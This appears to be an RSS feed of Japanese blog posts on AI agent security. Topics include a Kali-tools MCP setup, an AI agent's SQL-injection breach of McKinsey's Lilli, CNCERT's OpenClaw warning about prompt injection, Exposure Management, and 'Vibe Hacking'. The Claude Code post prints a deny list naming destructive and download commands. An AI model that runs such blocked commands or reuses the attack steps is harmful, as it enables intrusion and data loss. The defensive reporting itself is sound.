&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ollama&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ローカル LLM サーバー。llama.cpp のラッパーとしてモデルのダウンロード・サービングを簡素化&lt;/td&gt;
&lt;td&gt;推論エンジン（脳）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;mcp-kali-server&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Flask ベースの MCP サーバー（127.0.0.1:5000）。nmap, gobuster, nikto, hydra, sqlmap 等の Kali ツールを MCP 経由で公開&lt;/td&gt;
&lt;td&gt;ツールサーバー（手足）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;5ire&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;デスクトップ AI アシスタント兼 MCP クライアント。ユーザー入力を LLM に送り、LLM の応答からツール呼び出しを検出し、MCP 経由でツールを実行し、結果を LLM に戻すループを回す&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;AI エージェント&lt;/strong&gt;（オーケストレーター）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この構成で「エージェント」に相当するのは &lt;strong&gt;5ire&lt;/strong&gt; だ。LLM（Ollama）は推論を担うだけであり、ツールサーバー（mcp-kali-server）は呼ばれるのを待つだけ。ユーザーの意図を解釈し、LLM とツールの間を仲介して自律的にループを回す 5ire こそがエージェントの役割を果たしている。Claude Code に例えると、Ollama は API の向こう側の Claude モデル、mcp-kali-server は MCP サーバー、5ire は Claude Code 本体に相当する。&lt;/p&gt;</description></item><item><title>マッキンゼーの社内AI「Lilli」がSQLインジェクションで完全突破された件</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%9E%E3%83%83%E3%82%AD%E3%83%B3%E3%82%BC%E3%83%BC%E3%81%AE%E7%A4%BE%E5%86%85aililli%E3%81%8Csql%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%A7%E5%AE%8C%E5%85%A8%E7%AA%81%E7%A0%B4%E3%81%95%E3%82%8C%E3%81%9F%E4%BB%B6/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%9E%E3%83%83%E3%82%AD%E3%83%B3%E3%82%BC%E3%83%BC%E3%81%AE%E7%A4%BE%E5%86%85aililli%E3%81%8Csql%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%A7%E5%AE%8C%E5%85%A8%E7%AA%81%E7%A0%B4%E3%81%95%E3%82%8C%E3%81%9F%E4%BB%B6/</guid><description>&lt;p&gt;セキュリティスタートアップ CodeWall の AI エージェントが、マッキンゼーの社内 AI プラットフォーム「Lilli」をわずか2時間で完全突破した。4,650万件のチャット履歴からシステムプロンプトまで、認証なしで読み書き可能だったという。攻撃手法は SQL インジェクション——教科書の1章目に載る古典的な脆弱性だ。&lt;/p&gt;
&lt;h2 id="lilli-とは"&gt;Lilli とは&lt;/h2&gt;
&lt;p&gt;Lilli はマッキンゼーが社内向けに構築した生成 AI プラットフォームで、数万人のコンサルタントが日常的に利用している。戦略立案、M&amp;amp;A 分析、クライアント対応など、機密性の高い業務に活用されていた。&lt;/p&gt;
&lt;h2 id="lilli-のアーキテクチャ"&gt;Lilli のアーキテクチャ&lt;/h2&gt;
&lt;p&gt;マッキンゼーは Lilli の技術構成をある程度公開しており、その設計思想と今回の事件のギャップが際立つ。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RAG パイプライン + オーケストレーション層&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lilli のコアは RAG（Retrieval-Augmented Generation）パイプラインだ。40以上のキュレーション済みナレッジソースに10万件超のドキュメント、インタビュー記録、セクター別プレイブックが格納されている。ユーザーのクエリはベクトル埋め込みでマッチングされ、5〜7件の関連文書が引用付きで提示される。四半期あたり約200万クエリを処理する規模だ。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;技術スタック&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LLM&lt;/strong&gt;: Cohere、OpenAI（Azure 経由）など複数モデルを併用。Microsoft、Google、Nvidia、Anthropic との戦略的パートナーシップ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フレームワーク&lt;/strong&gt;: QuantumBlack の Horizon ツールキット、LangChain、FAISS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インフラ&lt;/strong&gt;: Microsoft Azure（データストレージ・スケーラビリティ）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;独自ツール&lt;/strong&gt;: PowerPoint を85%以上読み取り可能にする独自ドキュメントパーサー&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;「ゼロトラスト」設計——のはずだった&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;マッキンゼーは Lilli のセキュリティについて、ゼロトラストセキュリティスタック、オンプレミスデータストア、ロールベースアクセス制御（RBAC）、完全な監査ログを備えていると説明していた。しかし実際には、22個の API エンドポイントが認証なしで外部に公開されていた。設計上のセキュリティと実装上のセキュリティの乖離が、今回の事件の根本原因だ。&lt;/p&gt;
&lt;h2 id="攻撃の経緯"&gt;攻撃の経緯&lt;/h2&gt;
&lt;p&gt;CodeWall の自律型セキュリティエージェントは、以下の手順で Lilli を攻撃した:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;公開 API ドキュメントの発見&lt;/strong&gt; — Lilli の API ドキュメントが外部から閲覧可能な状態だった&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証不要エンドポイントの特定&lt;/strong&gt; — 22個のエンドポイントが認証なしでアクセス可能だった&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQL インジェクションの検出&lt;/strong&gt; — ユーザー検索クエリを書き込むエンドポイントで、JSON のキー名が SQL 文に直接連結されていた&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本番データベースへのフルアクセス&lt;/strong&gt; — 読み取りと書き込みの両方が可能な状態に到達&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;人間の介入は一切なし。AI エージェントが自律的に脆弱性を発見し、エクスプロイトまで完了した。&lt;/p&gt;</description></item><item><title>脆弱性管理の次の時代 ── Exposure Management とは何か</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E8%84%86%E5%BC%B1%E6%80%A7%E7%AE%A1%E7%90%86%E3%81%AE%E6%AC%A1%E3%81%AE%E6%99%82%E4%BB%A3-exposure-management-%E3%81%A8%E3%81%AF%E4%BD%95%E3%81%8B/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E8%84%86%E5%BC%B1%E6%80%A7%E7%AE%A1%E7%90%86%E3%81%AE%E6%AC%A1%E3%81%AE%E6%99%82%E4%BB%A3-exposure-management-%E3%81%A8%E3%81%AF%E4%BD%95%E3%81%8B/</guid><description>&lt;p&gt;企業のセキュリティチームは深刻な課題に直面しています。NVD（National Vulnerability Database）に登録される CVE は年間 25,000 件以上。多くの企業では数万〜数十万の脆弱性がスキャンで検出されます。しかし現実は明確で、「すべてを修正することは不可能」です。&lt;/p&gt;
&lt;p&gt;この状況を背景に、ガートナーは新しいセキュリティの考え方として &lt;strong&gt;Exposure Management（エクスポージャー管理）&lt;/strong&gt; を提示しました。&lt;/p&gt;
&lt;h2 id="cvss-とは何か"&gt;CVSS とは何か&lt;/h2&gt;
&lt;p&gt;Exposure Management を理解する前に、従来の脆弱性管理の中核にある &lt;strong&gt;CVSS（Common Vulnerability Scoring System）&lt;/strong&gt; について押さえておきましょう。&lt;/p&gt;
&lt;p&gt;CVSS は、脆弱性の深刻度を &lt;strong&gt;0.0〜10.0&lt;/strong&gt; のスコアで数値化する国際的な評価基準です。FIRST（Forum of Incident Response and Security Teams）が管理しており、現在は v3.1 と v4.0 が使われています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;スコア&lt;/th&gt;
&lt;th&gt;深刻度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;9.0〜10.0&lt;/td&gt;
&lt;td&gt;Critical（緊急）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.0〜8.9&lt;/td&gt;
&lt;td&gt;High（重要）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.0〜6.9&lt;/td&gt;
&lt;td&gt;Medium（警告）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0.1〜3.9&lt;/td&gt;
&lt;td&gt;Low（注意）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;スコアは以下の観点から算出されます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;攻撃元区分&lt;/strong&gt; — ネットワーク経由か、物理アクセスが必要か&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻撃条件の複雑さ&lt;/strong&gt; — 特殊な条件が必要か&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;必要な特権レベル&lt;/strong&gt; — 認証が必要か&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ユーザ関与&lt;/strong&gt; — ユーザの操作（リンクのクリック等）が必要か&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;影響範囲&lt;/strong&gt; — 機密性・完全性・可用性への影響度&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVSS は脆弱性の&lt;strong&gt;技術的な深刻度&lt;/strong&gt;を標準化された方法で伝える点で非常に有用です。しかし、このスコアだけに頼る運用には限界があります。&lt;/p&gt;
&lt;h2 id="従来の脆弱性管理の限界"&gt;従来の脆弱性管理の限界&lt;/h2&gt;
&lt;p&gt;従来のアプローチは「脆弱性スキャン → CVSS スコアで優先順位付け → パッチ適用」というものでした。しかし現代の IT 環境では以下の課題があります。&lt;/p&gt;</description></item><item><title>中国政府が OpenClaw に緊急セキュリティ警告：AI エージェントの安全な運用とは</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E4%B8%AD%E5%9B%BD%E6%94%BF%E5%BA%9C%E3%81%8C-openclaw-%E3%81%AB%E7%B7%8A%E6%80%A5%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%AD%A6%E5%91%8Aai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%AE%89%E5%85%A8%E3%81%AA%E9%81%8B%E7%94%A8%E3%81%A8%E3%81%AF/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E4%B8%AD%E5%9B%BD%E6%94%BF%E5%BA%9C%E3%81%8C-openclaw-%E3%81%AB%E7%B7%8A%E6%80%A5%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%AD%A6%E5%91%8Aai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%AE%89%E5%85%A8%E3%81%AA%E9%81%8B%E7%94%A8%E3%81%A8%E3%81%AF/</guid><description>&lt;p&gt;オープンソースの AI エージェントフレームワーク「OpenClaw」の利用が中国国内で急拡大する中、中国の国家コンピュータネットワーク緊急対応技術チーム（CNCERT）が緊急のセキュリティ警告を発しました。政府機関や国有銀行での使用禁止にまで発展したこの問題について、技術的な背景と対策をまとめます。&lt;/p&gt;
&lt;h2 id="何が起きたのか"&gt;何が起きたのか&lt;/h2&gt;
&lt;p&gt;2026年3月、中国の CNCERT は OpenClaw について「極めて弱いデフォルトセキュリティ設定」を持つと警告を発しました。OpenClaw はローカルファイルシステムや環境変数へのアクセス、拡張機能のインストールなど高いシステム権限を付与されますが、デフォルトのセキュリティ設定が不十分であり、攻撃者がシステム全体の制御を容易に奪取できる状態であると指摘されています。&lt;/p&gt;
&lt;p&gt;この警告を受けて、中国当局は政府機関と国有企業（主要銀行を含む）に対し、業務用コンピュータへの OpenClaw のインストールを禁止する通知を出しました。既にインストール済みの職員には、上司への報告・セキュリティチェック・必要に応じた削除が指示されています。&lt;/p&gt;
&lt;h2 id="cncert-が指摘した主なリスク"&gt;CNCERT が指摘した主なリスク&lt;/h2&gt;
&lt;h3 id="1-アーキテクチャ設計上の問題"&gt;1. アーキテクチャ設計上の問題&lt;/h3&gt;
&lt;p&gt;OpenClaw はローカルファイルシステム、環境変数、シェルへの広範なアクセス権限を持ちます。これ自体は AI エージェントの機能として必要ですが、適切な制限なしに運用すると重大なリスクとなります。&lt;/p&gt;
&lt;h3 id="2-デフォルト設定の脆弱性"&gt;2. デフォルト設定の脆弱性&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;管理 UI のデフォルトポート&lt;/strong&gt;がインターネットに公開可能な状態&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;環境変数に認証情報を平文で保存&lt;/strong&gt;する設定がデフォルト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スキルの自動更新&lt;/strong&gt;が有効な状態がデフォルト&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-プラグインエコシステムの危険性"&gt;3. プラグインエコシステムの危険性&lt;/h3&gt;
&lt;p&gt;不正なプラグイン（ポイズンドプラグイン）を通じて、ユーザーのシステムに悪意あるコードが侵入するリスクがあります。プラグインのアクセス権限が十分に制限されていないことが問題視されています。&lt;/p&gt;
&lt;h3 id="4-web-ベースの攻撃"&gt;4. Web ベースの攻撃&lt;/h3&gt;
&lt;p&gt;悪意ある指示を Web ページに埋め込むことで、OpenClaw に不正な操作を実行させる攻撃（プロンプトインジェクション）が可能です。&lt;/p&gt;
&lt;h3 id="5-重要データの誤削除"&gt;5. 重要データの誤削除&lt;/h3&gt;
&lt;p&gt;AI エージェントの判断ミスにより、ユーザーが意図しない重要データの削除が発生するリスクも指摘されています。&lt;/p&gt;
&lt;h2 id="cncert-の推奨対策"&gt;CNCERT の推奨対策&lt;/h2&gt;
&lt;p&gt;CNCERT は以下の対策を推奨しています。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;コンテナで隔離実行する&lt;/strong&gt; — OpenClaw をホストシステムから隔離された環境で動作させる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;管理ポートをインターネットに公開しない&lt;/strong&gt; — 管理 UI へのアクセスをローカルネットワークに限定する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証情報を平文で環境変数に保存しない&lt;/strong&gt; — シークレット管理ツールを使用する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スキルの自動更新を無効にする&lt;/strong&gt; — 更新は手動で検証してから適用する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;厳密な認証とアクセス制御を実装する&lt;/strong&gt; — 不要な権限を排除する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティアップデートへの追従を徹底する&lt;/strong&gt; — 既知の脆弱性に速やかに対応する&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="ai-エージェント全般への教訓"&gt;AI エージェント全般への教訓&lt;/h2&gt;
&lt;p&gt;この問題は OpenClaw に限った話ではありません。AI エージェントは本質的に高いシステム権限を必要とするため、以下の原則はどのエージェントツールにも当てはまります。&lt;/p&gt;</description></item><item><title>Claude Codeの「セキュリティ%表示」は対策ではなく"お気持ち表示"？ 本当にやるべきセキュリティ設定</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%A1%A8%E7%A4%BA%E3%81%AF%E5%AF%BE%E7%AD%96%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E3%81%8A%E6%B0%97%E6%8C%81%E3%81%A1%E8%A1%A8%E7%A4%BA-%E6%9C%AC%E5%BD%93%E3%81%AB%E3%82%84%E3%82%8B%E3%81%B9%E3%81%8D%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%A8%AD%E5%AE%9A/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%A1%A8%E7%A4%BA%E3%81%AF%E5%AF%BE%E7%AD%96%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E3%81%8A%E6%B0%97%E6%8C%81%E3%81%A1%E8%A1%A8%E7%A4%BA-%E6%9C%AC%E5%BD%93%E3%81%AB%E3%82%84%E3%82%8B%E3%81%B9%E3%81%8D%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%A8%AD%E5%AE%9A/</guid><description>&lt;p&gt;Claude Codeでツール実行のたびに「パスワード漏洩リスク: 0%」「悪意あるコード実行リスク: 0%」のようなセキュリティリスクのパーセンテージを表示させるCLAUDE.mdの設定がSNSで話題になった。これに対し、セキュリティエンジニアから「それは対策ではなくお気持ち表示」という指摘が上がり、議論を呼んでいる。&lt;/p&gt;
&lt;h2 id="話題になったパーセンテージ表示"&gt;話題になった「パーセンテージ表示」&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://x.com/wan_line_"&gt;@wan_line_（ワン@AIのお兄さん）&lt;/a&gt;氏が2026年3月9日に投稿したポストでは、CLAUDE.mdに以下のようなルールを記述することが提案されていた:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ツール実行のたびに&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;パスワードが外に漏れる可能性: ○%&lt;/li&gt;
&lt;li&gt;外部サーバーにデータが送られる可能性: ○%&lt;/li&gt;
&lt;li&gt;悪意あるコードが動く可能性: ○%&lt;/li&gt;
&lt;li&gt;PCの設定が書き換わる可能性: ○%&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Codeで「yes連打」してしまうユーザー向けに、実行前にリスクを可視化してくれるという趣旨だ。&lt;/p&gt;
&lt;h2 id="セキュリティ専門家の反論お気持ち表示"&gt;セキュリティ専門家の反論:「お気持ち表示」&lt;/h2&gt;
&lt;p&gt;この投稿に対し、&lt;a href="https://x.com/sudachikawaii"&gt;@sudachikawaii（シンジ☁Shinji）&lt;/a&gt;氏が&lt;a href="https://x.com/sudachikawaii/status/2031304091486531843"&gt;反論した&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;セキュリティ屋から言うと、これは「対策」ではなく「お気持ち表示」です。LLMはコードの安全性を静的解析していないので、表示されるパーセンテージに技術的根拠がありません。&lt;/p&gt;
&lt;p&gt;「0%」を見てyes押すのは、yes連打と同じです。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;指摘のポイントは明快だ:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;LLMは静的解析エンジンではない&lt;/strong&gt; — LLMが出すパーセンテージは、コードを構文解析して脆弱性を検出した結果ではなく、「それっぽい数値」を生成しているだけ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;偽の安心感を与える&lt;/strong&gt; — 「0%」という表示を見てユーザーが安心してyesを押すなら、結局yes連打と変わらない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技術的根拠がない&lt;/strong&gt; — 実際のセキュリティリスク分析には、静的解析ツール（SAST）、依存関係チェック、ネットワーク通信の監視などが必要&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="claude-codeに本当に効くセキュリティ対策"&gt;Claude Codeに本当に効くセキュリティ対策&lt;/h2&gt;
&lt;p&gt;Claude Codeには、CLAUDE.mdの「お気持ちルール」よりもはるかに実効性のあるセキュリティ機能が組み込まれている。&lt;a href="https://code.claude.com/docs/ja/security"&gt;公式ドキュメント&lt;/a&gt;に基づき、本当にやるべき対策を整理する。&lt;/p&gt;
&lt;h3 id="1-サンドボックスを有効にする"&gt;1. サンドボックスを有効にする&lt;/h3&gt;
&lt;p&gt;最も重要な対策。Bashコマンドの実行をOSレベルで隔離し、ファイルシステムやネットワークへのアクセスを制限する。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;macOSではSeatbelt、LinuxではBubble Wrapが使用される&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/sandbox&lt;/code&gt; コマンドで有効化&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-denyルールで危険なコマンドをブロック"&gt;2. denyルールで危険なコマンドをブロック&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;permissions.deny&lt;/code&gt; に実行禁止コマンドを明示的に設定する。評価順は &lt;strong&gt;deny → ask → allow&lt;/strong&gt; で、denyが最優先。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;permissions&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;deny&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Bash(command:rm -rf *)&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Bash(command:curl *)&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Bash(command:wget *)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="3-機密ファイルへのアクセスを遮断"&gt;3. 機密ファイルへのアクセスを遮断&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;.env&lt;/code&gt; やシークレットファイルへのアクセスをブロックする。&lt;/p&gt;</description></item><item><title>Vibe Hacking とは何か：AI が変えるサイバー攻撃の新潮流</title><link>https://hdknr.github.io/blogs/posts/2026/03/vibe-hacking-%E3%81%A8%E3%81%AF%E4%BD%95%E3%81%8Bai-%E3%81%8C%E5%A4%89%E3%81%88%E3%82%8B%E3%82%B5%E3%82%A4%E3%83%90%E3%83%BC%E6%94%BB%E6%92%83%E3%81%AE%E6%96%B0%E6%BD%AE%E6%B5%81/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/vibe-hacking-%E3%81%A8%E3%81%AF%E4%BD%95%E3%81%8Bai-%E3%81%8C%E5%A4%89%E3%81%88%E3%82%8B%E3%82%B5%E3%82%A4%E3%83%90%E3%83%BC%E6%94%BB%E6%92%83%E3%81%AE%E6%96%B0%E6%BD%AE%E6%B5%81/</guid><description>&lt;p&gt;「Vibe Coding」が開発者の間で広まる中、同じ発想をサイバー攻撃に応用する「Vibe Hacking」が新たな脅威として注目されている。AI を使って、専門知識がなくてもマルウェアや攻撃スクリプトを生成できる時代が到来した。&lt;/p&gt;
&lt;h2 id="vibe-hacking-とは"&gt;Vibe Hacking とは&lt;/h2&gt;
&lt;p&gt;Vibe Hacking は、AI を活用してサイバー攻撃のハードルを劇的に下げる手法・思想を指す。開発者が自然言語で AI にコードを書かせる「Vibe Coding」のダークサイドとも言える概念だ。&lt;/p&gt;
&lt;p&gt;従来のハッキングには、ネットワークプロトコルの理解、脆弱性の発見、エクスプロイトコードの記述といった高度な技術スキルが必要だった。しかし Vibe Hacking では「ターゲットを指定するだけ」「経験不要」「AI が処理する」といった形で、技術的な障壁がほぼ消失する。&lt;/p&gt;
&lt;h2 id="具体的な脅威"&gt;具体的な脅威&lt;/h2&gt;
&lt;h3 id="ai-生成マルウェア"&gt;AI 生成マルウェア&lt;/h3&gt;
&lt;p&gt;HP Wolf Security の脅威インサイトレポート（2025年10月〜12月）によると、攻撃者は AI で生成した感染スクリプトを実際の攻撃キャンペーンに使用している。偽のインボイス PDF を通じて、正規のプラットフォーム（Booking.com など）へリダイレクトする前にマルウェアをダウンロードさせる手口が確認されている。&lt;/p&gt;
&lt;h3 id="flat-pack-malware"&gt;Flat-Pack Malware&lt;/h3&gt;
&lt;p&gt;複数の無関係な脅威グループが、同一のモジュール化されたマルウェアコンポーネントを再利用する「Flat-Pack Malware」も増加している。市販のマルウェア部品を組み立てるだけで、最小限の労力でカスタマイズされた攻撃キャンペーンを展開できる。&lt;/p&gt;
&lt;h3 id="国家レベルの活用"&gt;国家レベルの活用&lt;/h3&gt;
&lt;p&gt;パキスタン系の脅威アクター「Transparent Tribe」が、AI コーディングツールを使ってマルウェアを「Vibe Coding」し、インド政府やその海外大使館を標的にした事例も報告されている。&lt;/p&gt;
&lt;h2 id="なぜ危険なのか"&gt;なぜ危険なのか&lt;/h2&gt;
&lt;h3 id="攻撃コストの劇的な低下"&gt;攻撃コストの劇的な低下&lt;/h3&gt;
&lt;p&gt;脆弱性の発見からエクスプロイト作成までのコストは、かつて数週間と数千ドルを要した。AI によりこれがほぼゼロになりつつある。「スプレー＆プレイ」型の大規模攻撃ではなく、特定のシステムや企業、さらには個々の開発者をピンポイントで狙うマイクロターゲット攻撃が現実的になった。&lt;/p&gt;
&lt;h3 id="検出回避能力の向上"&gt;検出回避能力の向上&lt;/h3&gt;
&lt;p&gt;HP の調査では、メール脅威の 14% 以上がゲートウェイスキャナーを回避している。AI が生成するコードは毎回微妙に異なるため、シグネチャベースの検出が困難になっている。&lt;/p&gt;
&lt;h3 id="vibe-coding-で作られたアプリの脆弱性"&gt;Vibe Coding で作られたアプリの脆弱性&lt;/h3&gt;
&lt;p&gt;攻撃だけでなく、Vibe Coding で開発されたアプリケーション側も問題を抱えている。Veracode の GenAI コードセキュリティレポートによると、AI 生成コードの 45% にセキュリティ脆弱性が含まれている。AI はほぼ半分の確率で安全でない実装を選択する。&lt;/p&gt;
&lt;h2 id="対策のポイント"&gt;対策のポイント&lt;/h2&gt;
&lt;h3 id="ai-によるコードレビューの自動化"&gt;AI によるコードレビューの自動化&lt;/h3&gt;
